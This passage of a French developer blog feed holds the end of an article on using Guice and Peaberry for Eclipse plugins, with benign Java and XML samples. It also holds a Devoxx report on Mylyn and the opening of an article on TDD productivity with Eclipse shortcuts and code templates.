</pre><p>A ce stade, la plupart des besoins en injection de dépendances apparaissant lors du développement d&#8217;un plugin basique pour Eclipse sont couverts. On pourra même fournir notre contexte d&#8217;injection à des plugins autorisés en exposant une méthode <code>createChildInjector()</code> au niveau de notre plugin. Pourtant, quand le besoin arrive d&#8217;aller plus loin dans les intéractions entre bundles, il convient de s&#8217;intéresser aux services OSGi et aux points d&#8217;extension Eclipse.</p><h3><a
name="AllerplusloinavecPeaberry"></a>Aller plus loin avec Peaberry</h3><p>Eclipse est avant tout une plateforme OSGi, il est donc possible de publier et consommer des services. Là encore il serait intéressant de pouvoir les injecter automatiquement, voici donc deux grandes fonctionnalités proposées par Peaberry et Peaberry-Eclipse.</p><h4><a
name="InjecterdesservicesOSGi"></a>Injecter des services OSGi</h4><p>Voici un exemple montrant l&#8217;injection du service EnvironmentInfo d&#8217;Eclipse, afin d&#8217;afficher l&#8217;OS sur lequel tourne la plate-forme :</p><pre class="brush: java; title: ; notranslate">
public class CoreModule extends AbstractModule {
	@Override
	protected void configure() {
		// lors d'une injection, toute instance de EnvironmentInfo sera créée par un service déclarant cette interface
		bind(EnvironmentInfo.class).toProvider(Peaberry.service(EnvironmentInfo.class).single());
	}
}
public class GuiceExamplePlugin extends AbstractUIPlugin {
	// ...
	public void start(BundleContext context) throws Exception {
		// ...
		// ajout du support des services OSGi avec Peaberry.osgiModule()
		injector = Guice.createInjector(Peaberry.osgiModule(context), new CoreModule());
		// récupération du service
		EnvironmentInfo info = injector.getInstance(EnvironmentInfo.class);
		getLog().log(new Status(IStatus.INFO, PLUGIN_ID, &quot;This platform runs on &quot; + info.getOS()));
	}
	// ...
}
</pre><p>Note : il existe une solution plus simple pour récupérer cette information, mais là encore avec une méthode statique : <code>org.eclipse.core.runtime.Platform.getOS()</code>.</p><h4><a
name="Injecterdesextensionsclientes"></a>Injecter des extensions clientes</h4><p>Le système d&#8217;extensions d&#8217;Eclipse repose en fait aussi sur des services OSGi, Peaberry-Eclipse va donc nous permettre d&#8217;injecter de telles extensions.</p><p>Voici un dernier exemple dans lequel notre plugin propose un point d&#8217;extension à d&#8217;autres plugins pour qu&#8217;ils puissent aussi nous dire bonjour :</p><ul><li>Créer l&#8217;interface définissant le contrat à remplir par l&#8217;extension :</li></ul><pre class="brush: java; title: ; notranslate">
package fr.xebia.eclipse.guiceexample.extensionpoint;
public interface HelloWorldParticipant {
	String sayHello();
}
</pre><ul><li>Déclarer le point d&#8217;extension dans plugin.xml :</li></ul><pre class="brush: xml; title: ; notranslate">
&lt;extension-point id=&quot;helloWorldParticipant&quot; name=&quot;&quot;Hello World&quot; Participant&quot; schema=&quot;schema/helloWorldParticipant.exsd&quot;/&gt;
</pre><ul><li>Le définir dans schema/helloWorldParticipant.exsd de la manière suivante :</li></ul><pre class="brush: xml; title: ; notranslate">
&lt;?xml version='1.0' encoding='UTF-8'?&gt;
&lt;schema targetNamespace=&quot;fr.xebia.eclipse.guiceexample&quot; xmlns=&quot;http://www.w3.org/2001/XMLSchema&quot;&gt;
   &lt;element name=&quot;extension&quot;&gt;
      &lt;complexType&gt;
         &lt;choice minOccurs=&quot;1&quot; maxOccurs=&quot;unbounded&quot;&gt;
            &lt;element ref=&quot;client&quot;/&gt;
         &lt;/choice&gt;
         &lt;attribute name=&quot;point&quot; type=&quot;string&quot; use=&quot;required&quot; /&gt;
      &lt;/complexType&gt;
   &lt;/element&gt;
   &lt;element name=&quot;client&quot;&gt;
      &lt;complexType&gt;
         &lt;attribute name=&quot;class&quot; type=&quot;string&quot; use=&quot;required&quot;&gt;
            &lt;annotation&gt;
               &lt;appInfo&gt;
                  &lt;meta.attribute kind=&quot;java&quot; basedOn=&quot;:fr.xebia.eclipse.guiceexample.extension.HelloWorldParticipant&quot;/&gt;
               &lt;/appInfo&gt;
            &lt;/annotation&gt;
         &lt;/attribute&gt;
      &lt;/complexType&gt;
   &lt;/element&gt;
&lt;/schema&gt;
</pre><p>Enfin, pour les besoins de l&#8217;exemple, déclarons une extension sur ce point d&#8217;extension (dans le même plugin pour faire simple) :</p><ul><li>Créer l&#8217;extension :</li></ul><pre class="brush: java; title: ; notranslate">
package fr.xebia.eclipse.guiceexample.extension;
import fr.xebia.eclipse.guiceexample.extensionpoint.HelloWorldParticipant;
public class SampleHelloWorldParticipant implements HelloWorldParticipant {
	@Override
	public String sayHello() {
		return &quot;Sample Hello&quot;;
	}
}
</pre><ul><li>La déclarer dans plugin.xml :</li></ul><pre class="brush: xml; title: ; notranslate">
&lt;extension point=&quot;fr.xebia.eclipse.guiceexample.helloWorldParticipant&quot;&gt;
   &lt;client class=&quot;fr.xebia.eclipse.guiceexample.extension.SampleHelloWorldParticipant&quot; /&gt;
&lt;/extension&gt;
</pre><p>Voici alors la manière « standard » de récupérer de telles extensions :</p><pre class="brush: java; title: ; notranslate">
public class SampleAction implements IWorkbenchWindowActionDelegate {
	// ...
	public void run(IAction action) {
		String currentTheme = themeManager.getCurrentTheme().getLabel();
		String message = &quot;Hello, Xebia world. &quot; + NL + &quot;The current theme is: &quot; + currentTheme;
		message += NL + getHellosFromParticipants();
		MessageDialog.openInformation(window.getShell(), &quot;Guice Example&quot;, message);
	}
	private String getHellosFromParticipants() {
		String extensionPoint = &quot;fr.xebia.eclipse.guiceexample.helloWorldParticipant&quot;;
		IConfigurationElement[] elements = Platform.getExtensionRegistry().getConfigurationElementsFor(extensionPoint);
		final StringBuilder buffer = new StringBuilder();
		for (IConfigurationElement element : elements) {
			try {
				final Object extension = element.createExecutableExtension(&quot;class&quot;);
				if (!(extension instanceof HelloWorldParticipant))
					continue;
				appendParticipantHello(buffer, (HelloWorldParticipant) extension);
			} catch (CoreException e) {
				// ...
			}
		}
		return buffer.toString();
	}
	private void appendParticipantHello(final StringBuilder buffer, final HelloWorldParticipant participant) {
		SafeRunner.run(new ISafeRunnable() {
			public void run() throws Exception {
				if (buffer.length() == 0)
					buffer.append(NL).append(&quot;Other hellos:&quot;);
				buffer.append(NL).append(participant.sayHello());
			}
			public void handleException(Throwable throwable) {
				// ...
			}
		});
	}
}
</pre><p>On le voit, c&#8217;est plutôt indigeste. Peaberry-Eclipse nous permet de d&#8217;injecter ces extensions de la manière suivante :</p><pre class="brush: java; title: ; notranslate">
// annotation de l'interface de l'extension pour fournir l'ID du point d'extension
@ExtensionBean(&quot;fr.xebia.eclipse.guiceexample.helloWorldParticipant&quot;)
public interface HelloWorldParticipant {
	// ...
}
public class CoreModule extends AbstractModule {
	@Override
	protected void configure() {
		// toute instance de HelloWorldParticipant déclarée par un service (une extension) sera injectée
		// si un Iterable&lt;HelloWorldParticipant&gt; est demandé
		bind(TypeLiterals.iterable(HelloWorldParticipant.class)).toProvider(Peaberry.service(HelloWorldParticipant.class).multiple());
	}
}
public class GuiceExamplePlugin extends AbstractUIPlugin {
	// ...
	public void start(BundleContext context) throws Exception {
		// ...
		// ajout du support du registre des services-extensions d'Eclipse avec EclipseRegistry.eclipseRegistry()
		injector = Guice.createInjector(Peaberry.osgiModule(context, EclipseRegistry.eclipseRegistry()), new CoreModule());
	}
}
public class SampleAction implements IWorkbenchWindowActionDelegate {
	// ...
	private final Iterable&lt;HelloWorldParticipant&gt; participants;
	@Inject
	public SampleAction(IThemeManager themeManager, Iterable&lt;HelloWorldParticipant&gt; participants) {
		this.themeManager = themeManager;
		this.participants = participants;
	}
	// run(){}...
	private String getHellosFromParticipants() {
		final StringBuilder buffer = new StringBuilder();
		for (final HelloWorldParticipant participant : participants) {
			appendParticipantHello(buffer, participant);
		}
		return buffer.toString();
	}
}
</pre><p>Et voilà le résultat :</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/12/hello-xebia-world-2.png" border="0" alt="" /></div><p>Dans le cas d&#8217;une extension « non-exécutable » (ne fournissant pas une classe à instancier mais des propriétés à récupérer) il est également possible de demander à Peaberry de <a
href="http://code.google.com/p/peaberry/wiki/EclipseRegistry#Binding_to_Eclipse_Extensions" title="mapper les proprits exposes" >mapper les propriétés exposées</a> à des méthodes de l&#8217;interface annotée avec <code>@ExtensionBean</code>.</p><p>Note : n&#8217;oubliez pas que les services OSGi sont par nature dynamiques et ne sont donc jamais une ressource acquise. Peaberry est assez sympathique dans le sens où il injecte des proxies dynamiques pour gérer cela automatiquement, mais pour toute utilisation avancée, je vous invite à vous renseigner en détail sur les <a
href="http://code.google.com/p/peaberry/wiki/UserGuide#Fluent_API_Examples" title="autres fonctionnalits de Peaberry en rapport avec OSGi" >autres fonctionnalités de Peaberry en rapport avec OSGi</a>.</p><h3><a
name="Conclusion"></a>Conclusion :</h3><p>Cet article nous a permis de voir qu&#8217;il est tout à fait possible d&#8217;utiliser un framework d&#8217;injection de dépendances lors d&#8217;un développement pour Eclipse. Pour les cas les plus basiques Guice seul suffira, de même que d&#8217;autres frameworks s&#8217;ils supportent le mécanisme de class-loading de OSGi (par exemple Spring). Mais il est possible d&#8217;aller plus loin dans le support d&#8217;OSGi grâce à Peaberry qui permet d&#8217;injecter des services (Spring Dynamic Modules fournit un support équivalent) mais surtout dans le support de la plate-forme Eclipse avec Peaberry-Eclipse qui simplifie grandement la récupération d&#8217;extensions clientes.</p><p>Les techniques décrites dans cet article me permettent actuellement d&#8217;améliorer grandement la lisibilité et la testabilité d&#8217;un plugin Eclipse au développement duquel je participe (<a
href="http://moreunit.sourceforge.net/" title="MoreUnit" >MoreUnit</a>). En attendant Eclipse 4, je ne peux donc que vous encourager à utiliser ces solutions.</p><h3><a
name="ressources">Ressources</a></h3><ul><li><a
href="http://code.google.com/p/peaberry/wiki/" title="La documentation de Peaberry" >La documentation de Peaberry</a>.</li><li>Martin Lippert&#8217;s SpringExtensionFactory : <a
href="http://martinlippert.blogspot.com/2008/05/dependency-injection-for-extensions.html" title="l'article" >l&#8217;article</a> et <a
href="https://github.com/martinlippert/spring-extension-factory" title="le code" >le code</a>.</li><li><a
href="https://github.com/ndemengel/guiceexample/" title="Le code de lexemple sur GitHub" >Le code de l&#8217;exemple sur GitHub</a>.</li></ul><h3><a
name="AnnexeProcdurepourutiliserlepo"></a>Annexe : Procédure pour utiliser le point d&#8217;extension org.ops4j.peaberry.eclipse.modules</h3><ul><li>Récupérer le fichier <a
href="http://peaberry.googlecode.com/svn-history/r831/trunk/extensions/eclipse/src/main/resources/schema/modules.exsd|http://peaberry.googlecode.com/svn-history/r831/trunk/extensions/eclipse/src/main/resources/schema/modules.exsd" title="modulesexsd" >modules.exsd</a>, il s&#8217;agit de la description d&#8217;un point d&#8217;extension ;</li><li>Le placer dans le plugin qui expose Peaberry, dans un dossier &laquo;&nbsp;schema&nbsp;&raquo; ;</li><li>Ajouter un fichier &laquo;&nbsp;plugin.xml&nbsp;&raquo; à la racine de ce même plugin (s&#8217;il n&#8217;existe pas déjà) ;</li><li>Dans l&#8217;éditeur de manifest, cocher &laquo;&nbsp;This plug-in is a singleton&nbsp;&raquo; (onglet &laquo;&nbsp;Overview&nbsp;&raquo;) ;</li><li>Dans ce même éditeur, ajouter une dépendance à &laquo;&nbsp;org.eclipse.core.runtime&nbsp;&raquo; (onglet &laquo;&nbsp;Dependencies&nbsp;&raquo;, section &laquo;&nbsp;Required plug-ins&nbsp;&raquo;) ;</li><li>Toujours dans l&#8217;éditeur, inclure &laquo;&nbsp;plugin.xml&nbsp;&raquo; au binard built (onglet &laquo;&nbsp;Build&nbsp;&raquo;, section &laquo;&nbsp;Binary Build&nbsp;&raquo;) ;</li><li>Enfin, à l&#8217;intérieur de plugin.xml, déclarer le point d&#8217;extension :</li></ul><pre class="brush: xml; title: ; notranslate">
&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;?eclipse version=&quot;3.4&quot;?&gt;
&lt;plugin&gt;
   &lt;extension-point id=&quot;org.ops4j.peaberry.eclipse.modules&quot; name=&quot;Guice binding modules&quot; schema=&quot;schema/modules.exsd&quot;/&gt;
&lt;/plugin&gt;
</pre>]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/12/29/utiliser-guice-et-peaberry-pour-developper-un-plugin-eclipse/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Devoxx &#8211; Augmenter votre productivité avec Mylyn</title><link>http://blog.xebia.fr/2010/11/16/devoxx-augmenter-votre-productivite-avec-mylyn/</link> <comments>http://blog.xebia.fr/2010/11/16/devoxx-augmenter-votre-productivite-avec-mylyn/#comments</comments> <pubDate>Tue, 16 Nov 2010 06:35:01 +0000</pubDate> <dc:creator>Romain Maton</dc:creator> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Devoxx]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[Mylyn]]></category> <category><![CDATA[Spring]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=5883</guid> <description><![CDATA[Et c&#8217;est parti pour les Tools in action avec pour ma part la session Augmenter votre productivité avec Mylyn de Oliver Gierke, SpringSource. Mylyn, c&#8217;est le framework ALM (Application Lifecycle Management) d&#8217;Eclipse. Il réorganise tout l&#8217;IDE autour de tâches. Celles-ci seront ensuite traduites par Mylyn pour nos différents outils comme notre gestionnaire de sources, notre [...]]]></description> <content:encoded><![CDATA[<p>Et c&#8217;est parti pour les <a
href="http://www.devoxx.com/display/Devoxx2K10/Tools+in+Action" title="Tools in action" >Tools in action</a> avec pour ma part la session <a
href="http://www.devoxx.com/display/Devoxx2K10/Increasing+developer+productivity+with+Mylyn" title="Augmenter votre productivité avec Mylyn" >Augmenter votre productivité avec Mylyn</a> de <a
href="http://www.devoxx.com/display/Devoxx2K10/Oliver+Gierke" title="Oliver Gierke" >Oliver Gierke</a>, SpringSource.</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/11/devoxx-oliver-gierke.png" border="0" alt="" /></div><p>Mylyn, c&#8217;est le framework ALM (Application Lifecycle Management) d&#8217;Eclipse. Il réorganise tout l&#8217;IDE autour de tâches. Celles-ci seront ensuite traduites par Mylyn pour nos différents outils comme notre gestionnaire de sources, notre intégration continue ou bien encore notre bugtracker. Le développeur pourra ainsi ne se préoccuper que de ses tâches, Mylyn s&#8217;occupant du reste.</p><p>Oliver Gierke nous oriente vers 3 grands domaines concernant cette fameuse productivité recherchée du développeur : <em>focus</em>, <em>productivity</em> et <em>traceability</em>.</p><h3><a
name="Focus"></a>Focus</h3><p>Tout se passe dans l&#8217;onglet <em>Task List</em> d&#8217;Eclipse avec une liste de tâches à effectuer. A noter qu&#8217;on ne peut activer qu&#8217;une seule tâche à la fois.</p><p>Le concept : chaque tâche aura son propre contexte de travail.</p><p>Ainsi, dès lors que l&#8217;on a activé une tâche, l&#8217;onglet <em>Task List</em> se vide et laisse apparaître tous les fichiers sur lesquels nous sommes en train de travailler. L&#8217;intérêt est que si l&#8217;on change en cours de route de tâche, la nouvelle tâche repartira d&#8217;un contexte vide et, en revenant sur notre première tâche, on récupérera notre contexte avec tous nos fichiers modifiés.</p><h3><a
name="Productivity"></a>Productivity</h3><p>L&#8217;idée ici est de gagner du temps en ayant tout de suite à sa disposition les bons outils intégrés dans son environnement de travail. En effet, avoir plus d&#8217;une dizaine d&#8217;outils répartis sur son IDE, dans son navigateur, sur son desktop&#8230; cela donne des alertes un peu n&#8217;importe où <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> Il faut donc passer d&#8217;un <em>patchwork</em> à un <em>integrated toolset</em>.</p><p>Par défaut, Mylyn gère un nombre assez important de bugtrackers et d&#8217;outils en tout genre avec dans le désordre : Bugzilla, Jira, Bamboo, Crucible, Trac, Mantis, Hudson, Egit, CVS&#8230;</p><p>Pour la récupération des informations de l&#8217;outil, prenons par exemple Jira, il est possible de définir ses propres requêtes afin de ne récupérer qu&#8217;une certaine partie des bugs. Pour la saisie d&#8217;un bug, on dispose d&#8217;un éditeur <em>Rich Task Editor</em> pour la saisie des informations liées au bug <em>(OS, version&#8230;)</em> et pour la partie commentaire on dispose de l&#8217;éditeur <em>WikiText</em> qui nous permet d&#8217;écrire de la syntaxe Wiki.</p><p>Toujours en terme de productivité, il est possible d&#8217;organiser ses requêtes ou ses outils en <em>Working Sets</em>. On pourra aussi exporter ses contextes avec de les partager avec toute l&#8217;équipe.</p><h3><a
name="Traceability"></a>Traceability</h3><p>Ce concept découle du point précédent. On peut ainsi pour une tâche donnée récupérer toute les informations utiles du type <em>qui</em>, <em>quoi</em> et <em>pourquoi</em>, tout étant regroupé en un seul point.</p><h3><a
name="Dmo"></a>Démo</h3><p>Vient ensuite une petite démo avec un projet directement connecté sur le bugtracker de SpringSource :</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/11/devoxx-demo-mylin.png" border="0" alt="" /></div><h3><a
name="CodeCloud"></a>Code2Cloud</h3><p>Pour terminer, Oliver nous parle de <a
href="http://tasktop.com/connectors/code2cloud.php" title="Code2Cloud" >Code2Cloud</a>, la solution complète de SpringSource pour simplifier la vie du développeur <em>(<a
href="http://blog.xebia.fr/2010/11/02/revue-de-presse-xebia-183/#SpringOneGXLesannoncesdeSpring" title="annonce faite au SpringOne2GX 2010" >annonce faite au SpringOne2GX 2010</a>)</em>.</p><p>Pourquoi parler de Code2Cloud ? Bugzilla, Git, Hudson, STS mais surtout&#8230;. Mylyn ! Olivier propose l&#8217;exemple de son intégration avec <a
href="http://blog.springsource.com/2010/05/26/spring-insight-1-0-0-m3-released/" title="Spring Insight" >Spring Insight</a>. On pourra ainsi configurer Spring Insight pour créer automatiquement un bug dans le bugtracker pour toute exception levée par l&#8217;application. Le bug sera bien sûr rempli avec la <em>stack trace</em> dans le bon champ, les classes impactées, OS/versions&#8230; Tout ceci toujours prévu pour le premier trimestre 2011.</p><h3><a
name="Pourconclure"></a>Pour conclure</h3><p>A noter enfin que <a
href="http://www.eclipse.org/mylyn/" title="Mylyn" >Mylyn</a> sous-projet de l&#8217;IDE <a
href="http://www.eclipse.org/" title="Eclipse" >Eclipse</a> est devenu <a
href="http://tasktop.com/blog/eclipse/mylyn-top-level-eclipse-project" title="top level Eclipse project" >top level Eclipse project</a> depuis mi-Septembre. Il rejoint entres autres WTP et EMF dans cette <em>short list</em> de projets qui représentent les secteurs clés d&#8217;Eclipse.</p><p>L&#8217;outil est bon mais pour ma part un point très gênant réside toujours : Un changement de contexte ne met pas de côté les changements effectués à la manière d&#8217;un <code>git stash</code> que l&#8217;on pourrait récupérer plus tard avec un <code>pop</code>. Si vous connaissez un plugin ou une petite commande qui fait ça, n&#8217;hésitez pas à commenter !</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/11/16/devoxx-augmenter-votre-productivite-avec-mylyn/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>TDD et productivité</title><link>http://blog.xebia.fr/2010/11/03/tdd-et-productivite/</link> <comments>http://blog.xebia.fr/2010/11/03/tdd-et-productivite/#comments</comments> <pubDate>Wed, 03 Nov 2010 06:36:57 +0000</pubDate> <dc:creator>Simon Caplette</dc:creator> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Méthodes agiles]]></category> <category><![CDATA[Tests]]></category> <category><![CDATA[continuous unit testing]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[junit]]></category> <category><![CDATA[TDD]]></category> <category><![CDATA[Test-Driven-Development]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=5762</guid> <description><![CDATA[Quand on est en phase de développement et que l&#8217;on pratique le TDD, il est nécessaire de connaître certaines méthodes pour éviter la répétition, une fatigue des doigts évidente et ainsi améliorer son rendement. Nous essayerons dans cet article de montrer l&#8217;ergonomie d&#8217;Eclipse et l&#8217;utilisation du clavier pour rendre plus courte et plus agréable une [...]]]></description> <content:encoded><![CDATA[<p>Quand on est en phase de développement et que l&#8217;on pratique le TDD, il est nécessaire de connaître certaines méthodes pour éviter la répétition, une fatigue des doigts évidente et ainsi améliorer son rendement.</p><p>Nous essayerons dans cet article de montrer l&#8217;ergonomie d&#8217;Eclipse et l&#8217;utilisation du clavier pour rendre plus courte et plus agréable une session TDD. Nous présenterons quelques plugins Eclipse et aussi un outil souvent négligé que sont les templates de codes.</p><p>Un pattern sera introduit pour faciliter l&#8217;utilisation des objet métiers et POJO dans les tests.</p><p>Enfin, nous présenterons le concept important du <em>Continuous Unit Testing</em> appliqué à l&#8217;IDE et indiquerons et comparerons les plugins Eclipse pour le mettre en œuvre.</p><h3><a
name="TDDetEclipse"></a>TDD et Eclipse</h3><h4><a
name="Raccourcisclaviersutiles"></a>Raccourcis claviers utiles</h4><p>La programmation sur ordinateur est née avant l&#8217;outil qu&#8217;est la souris pour PC. Tout développeur sait que privilégier le clavier à la souris aide à la concentration et apporte un gain de temps énorme.</p><p>Dans cet article, le but n&#8217;est pas d&#8217;avoir une liste exhaustive de raccourcis claviers utiles à la programmation mais plutôt de faire un résumé des raccourcis basiques en TDD. Ainsi, nous omettrons volontairement les raccourcis de refactoring qui pourront faire l&#8217;objet d&#8217;un autre article, le refactoring étant indissociable du TDD. Pour connaitre tous les raccourcis, voici <a
href="http://hamletdarcy.blogspot.com/2010/10/eclipse-keyboard-shortcut-wallpaper.html" title="un lien avec poster" >un lien avec poster</a> donnant une liste complète pour Eclipse. A placarder chez tous vos clients ou équipes de développement!</p><p>Raccourcis à connaitre lorsque l&#8217;on démarre TDD (ou la programmation&#8230;) avec Eclipse.</p><fieldset><legend>DELETE LINE</legend><p>L&#8217;intérêt de ce raccourci est qu&#8217;il peut être exécuté n&#8217;importe où sur une ligne de code pour effacer cette dernière. Plus besoin d&#8217;aller en début ou bout de ligne ou d&#8217;utiliser la touche Shift avant d&#8217;effacer.</p><ul><li>Crtl + D (PC)</li><li>Cmd + D (Mac)</li></ul></fieldset><fieldset><legend>INSERT LINE BELOW CURRENT LINE</legend><p>Plus de touche Shift, End/Start of line&#8230; ce raccourci vous permet de n&#8217;importe où d&#8217;insérer une ligne au dessous avec la correcte indentation.</p><ul><li>Shift + Enter (PC &#038; Mac)</li></ul></fieldset><fieldset><legend>DUPLICATE</legend><p>Celui-ci est très utile pour dupliquer une ligne d&#8217;assertion ou encore des blocs de code qui sont communs à plusieurs tests.</p><ul><li>Ctrl + Alt + Up/Down arrow (PC)</li><li>Alt + Cmd + Up/Down arrow (Mac)</li></ul></fieldset><fieldset><legend>MOVE</legend><p>Pratique pour ré-organiser rapidement vos lignes ou blocs de code pour plus de lisibilité.</p><ul><li>Alt + Up/Down arrow (PC)</li><li>Alt + Cmd + Up/Down arrow (Mac)</li></ul></fieldset><fieldset><legend>QUICK FIX</legend><p>Ce raccourci est le raccourci à tout faire comme son nom l&#8217;indique. Il sera utile en TDD entre autre, pour la génération de variable (nom et type) ou conversion de variable de méthode en champ de classe. Par exemple, quand vous instanciez un objet, commencez toujours par écrire &#8216;new MonObjet();&#8217; et laissez ce raccourci faire le reste!</p><ul><li>Ctrl + 1 (PC)</li><li>A définir sur le Mac</li></ul></fieldset><fieldset><legend>ADD IMPORT</legend><p>Permet d&#8217;ajouter les <em>static imports</em> (transforme Assert.assertEquals en assertEquals, ou Mockito.when en when). Bien pratique pour Junit, Mockito, Hamcrest en vue de rendre les tests lisibles.</p><ul><li>Ctrl + Shift + M (PC)</li><li>Shift + Cmd + M (Mac)</li></ul></fieldset><p>A noter que pour gérer les <em>static imports</em> trés courant en TDD, le menu <em>Preferences/Java/Editor/Content Assist/Favorites</em> permet de définir une liste de membres static. Le raccourci <em>Content Assist</em> vous suggérera ensuite cette liste même si l&#8217;import est manquant.</p><h5>Key promoter</h5><p>Une bonne méthode pour vous inciter à préférer le clavier à la souris est d&#8217;utiliser ce que l&#8217;on appelle les <em>key promoter</em>.  Ce sont des plugins qui afficheront, au moyen d&#8217;une petite fenêtre, les raccourcis clavier à utiliser quand vous avez manqué à votre devoir de bon développeur! Voici les informations pour <a
href="http://blog.mousefeed.com/" title="Eclipse" >Eclipse</a> et <a
href="http://plugins.intellij.net/plugin/?id=1003" title="IntelliJ" >IntelliJ</a>.</p><h4><a
name="Unpeudergonomie"></a>Un peu d&#8217;ergonomie</h4><p>Eclipse vous offre une grande liberté quant à la disposition et organisation de vos vues (<i>View</i>) dans différentes perspective.</p><p>En TDD, la pensée et l&#8217;écriture du code font un va et vient entre la classe et sa classe de test correspondante. Cela peut paraitre un détail mais une façon de faciliter cela est de scinder votre vue éditeur java en deux comme le montre l&#8217;image suivante (cliquez pour agrandir).</p><div
align="center"> <a
href="http://blog.xebia.fr/wp-content/uploads/2010/10/tdd-split-screen.png"><img
src="http://blog.xebia.fr/wp-content/uploads/2010/10/tdd-split-screen-300x219.png" alt="tdd-split-screen" title="tdd-split-screen" width="300" height="219" class="alignnone size-medium wp-image-5772" /></a></div><p>Pour réaliser cela avec Eclipse, faites un <em>click &#038; drag</em> sur un onglet dans votre éditeur et amener le vers le bas (tout en maintenant le button de souris) jusqu&#8217;à ce que la séparation de l&#8217;écran apparaisse.</p><p>Vous pouvez ainsi visualiser le code et les tests correspondants en même temps. Une façon de s&#8217;organiser et par exemple d&#8217;avoir vos tests dans l&#8217;éditeur du bas et vos classes dans l&#8217;éditeur du haut.</p><h5>Eclipse Outline view</h5><p>Une vue très utile à l&#8217;organisation et visualisation des tests est la <em>Outline View</em>. Elle permet de voir rapidement tous les noms des méthodes de test et agit ainsi comme documentation pour une classe. Mais surtout elle permet, en utilisant un <em>drag &#038; drop</em> directement dans la vue, d&#8217;ordonner et de grouper logiquement les méthodes de test. Attention pour déplacer les méthodes de votre classe en utilisant la <em>Outline View</em>, le tri alphabétique doit être désactivé pour cette vue (petit bouton AZ dans le menu de la vue).</p><p>Ci-dessous un exemple de ré-organisation de méthodes</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/10/outline-view.png" border="0" alt="" /></div><h4><a
name="TemplatesdecodeJavapourTDD"></a>Templates de code Java</h4><p>Les templates de code sont une description structurée de patterns de code qui sont récurrents au cours de votre programmation. Eclipse vient par défaut avec une série de templates courants très utiles (<i>Preference > Java > Editor > Templates</i>), mais vous donne surtout les moyens de créer les vôtres avec beaucoup de flexibilité <a
href="http://help.eclipse.org/helios/topic/org.eclipse.jdt.doc.user/concepts/concept-template-variables.htm" title="grce aux variables" >grâce aux variables</a>. Notez que les templates de code peuvent être importés et exportés au format xml très facilement avec Eclipse. Ainsi il est facile de les partager au sein d&#8217;un groupe de développement.</p><p>Lors de la création d&#8217;un template vous devrez choisir un nom et une description. Le nom de votre template se voudra être court et mémorable et peut contenir un chiffre pour faciliter le filtrage.</p><p>Par exemple pour générer une méthode de test avec JUnit 4, j&#8217;ai appelé mon template <em>t4</em>, et je donne une courte description qui m&#8217;aidera lorsque j&#8217;aurai de nombreux templates.</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/10/template-creation.png" border="0" alt="" /></div><p>Pour ensuite utiliser le template, écrivez le nom du template et utilisez le raccourci du <i>Content Assist</i> (Ctrl + Space sur PC).</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/10/template-in-code.png" border="0" alt="" /></div><p>Voici quelques exemples de templates:</p><h5>t4 &#8211; Generate Junit4 test method with Mockito imports</h5><pre class="brush: java; title: ; notranslate">${staticImport:importStatic('org.junit.Assert.*')}${staticImport1:importStatic('org.mockito.Mockito.*')}${staticImport2:importStatic('org.mockito.MockitoAnnotations.Mock')}
@${:newType(org.junit.Test)}
public void should_${testname}() throws Exception {
	${cursor}
}</pre><h5>te &#8211; Generate Junit4 expected exception test method</h5><pre class="brush: java; title: ; notranslate">${:import('org.junit.Test')}
@${testType:newType(org.junit.Test)}(expected=${expectionname}.class)
public void should_throw_${testname}_when() throws Exception {
	${cursor}
}</pre><h5>b4 &#8211; Generate Junit4 setUp method with Mockito imports</h5><pre class="brush: java; title: ; notranslate">${before:import('org.junit.Before')}${initMocks:importStatic('org.mockito.MockitoAnnotations.*')}
@${:newType(org.junit.Before)}
public void initBeforeTest() throws Exception {
	initMocks(this);
	${cursor}
}</pre><h5>mk &#8211; Generate an instance field with the Mockito (@Mock ) annotation</h5><pre class="brush: java; title: ; notranslate">${:import(org.mockito.Mock)}
@${mockType:newType(org.mockito.Mock)} private ${dependencyType} ${name};</pre><h5>Variables pour templates</h5><p>La création de templates nécessite de savoir utiliser <a
href="http://help.eclipse.org/helios/topic/org.eclipse.jdt.doc.user/concepts/concept-template-variables.htm" title="les variables de templates" >les variables de templates</a> ce qui reste très simple. Il existe des variables génériques comme ${cursor} ou des variables définies par l&#8217;utilisateur qui peuvent donc être réutilisées dans le template. Ces dernières adoptent le format suivant:</p><ul><li>${<i>variableUtilisateur</i>:<i>operateurTemplate</i>)}</li></ul><p>Exemples:</p><ul><li>${mockType:newType(org.mockito.Mock)}</li><li>${:newType(org.junit.Before)}</li></ul><p>Le nom de la <em>variableUtilisateur</em> peut être laissé vide mais ce nom doit être unique pour chaque template (même vide) pour éviter les conflits.</p><p>Les templates trouvent leur sens lorsque la répétition est grande comme c&#8217;est le cas en TDD. Cependant, je pense qu&#8217;ils sont sous-estimés et encore trop peu utilisés. Faites place à votre imagination pour de nouvelles trouvailles et partagez-les au sein de votre équipe. La lassitude de coder et les tendinites devraient diminuer et la productivité augmentera.</p><h4><a
name="LepluginMoreUnit"></a>Le plugin MoreUnit</h4><p>Un plugin qui a commencé à réconcilier TDD et rendement est le plugin <a
